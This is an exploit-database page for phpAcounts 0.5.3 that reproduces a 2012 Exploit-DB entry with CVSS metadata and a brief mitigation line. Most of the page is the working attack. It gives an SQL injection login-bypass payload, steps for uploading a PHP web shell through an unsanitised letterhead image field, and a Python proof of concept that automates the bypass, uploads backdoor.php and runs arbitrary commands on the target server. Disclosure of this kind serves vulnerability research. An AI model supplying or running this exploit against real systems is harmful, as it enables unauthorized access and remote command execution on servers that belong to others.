Exploit phpAcounts v.0.5.3 SQL Injection

vendor:

phpAcounts

by:

loneferret

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: phpAcounts

Affected Version From: 0.5.3

Affected Version To: 0.5.3

Patch Exists: NO

Related CWE: N/A

CPE: a:phpaccounts:phpaccounts:0.5.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu Server 11.10

2012

Exploit phpAcounts v.0.5.3 SQL Injection

A vulnerability exists in phpAcounts v.0.5.3 which allows an attacker to bypass authentication and upload a malicious file. The letterhead image upload does not sanitize file extensions, allowing an attacker to upload a malicious file. The attacker can then access the shell by accessing the URL http://server/phpaccounts/users/1/<filename> and execute arbitrary commands.

Mitigation:

Ensure that all user input is properly sanitized and validated before being used in any SQL queries.

Source

Exploit-DB raw data:

######################################################################################
# Exploit phpAcounts v.0.5.3 SQL Injection
# Date: June 6nd 2012
# Author: loneferret
# Version: 0.5.3
# Vendor Url: http://phpaccounts.com/
# Tested on: Ubuntu Server 11.10
######################################################################################
# Discovered by: loneferret
######################################################################################

# Old app, still fun.

Auth. Bypass:
http://<server>/phpaccounts/index.php
Username: x' or '1'='1'#
Password: <whatever>

Upload php shell in preferences 
Letterhead image upload does not sanitize file extensions.
http://server/index.php?page=tasks&action=preferences

Acess shell:
Where '1' is the user's ID.
http://server/phpaccounts/users/1/<filename>



---- Python PoC ---------

#!/usr/bin/python

import re, mechanize
import urllib, sys

print "\n[*] phpAcounts v.0.5.3 Remote Code Execution"
print "[*] Vulnerability discovered by loneferret"

print "[*] Offensive Security - http://www.offensive-security.com\n"
if (len(sys.argv) != 3):
    print "[*] Usage: poc.py <RHOST> <RCMD>"
    exit(0)

rhost = sys.argv[1]
rcmd = sys.argv[2]


print "[*] Bypassing Login ."
try:
        br = mechanize.Browser()
        br.open("http://%s/phpaccounts/index.php?frameset=true" % rhost)
        assert br.viewing_html()
        br.select_form(name="loginForm")
        br.select_form(nr=0)
        br.form['Login_Username'] = "x' or '1'#"
        br.form['Login_Password'] = "pwnd"
        print "[*] Triggering SQLi .."
        br.submit()
except:
        print "[*] Oups..Something happened"
        exit(0)

print "[*] Uploading Shell ..."
try:
        br.open("http://%s/phpaccounts/index.php?page=tasks&action=preferences" % rhost)
        assert br.viewing_html()
        br.select_form(nr=0)
        br.form["Preferences[LETTER_HEADER]"] = 'test'
        br.form.add_file(open('backdoor.php'), "text/plain", "backdoor.php", name="letterhead_image")
        br.submit(nr=2)
except:
        print "[*] Upload didn't work"
        exit(0)

print "[*] Command Executed\n"
try:
        shell = urllib.urlopen("http://%s/phpaccounts/users/1/backdoor.php?cmd=%s" % (rhost,rcmd))
        print shell.read()
except:
        print "[*] Oups."
        exit(0)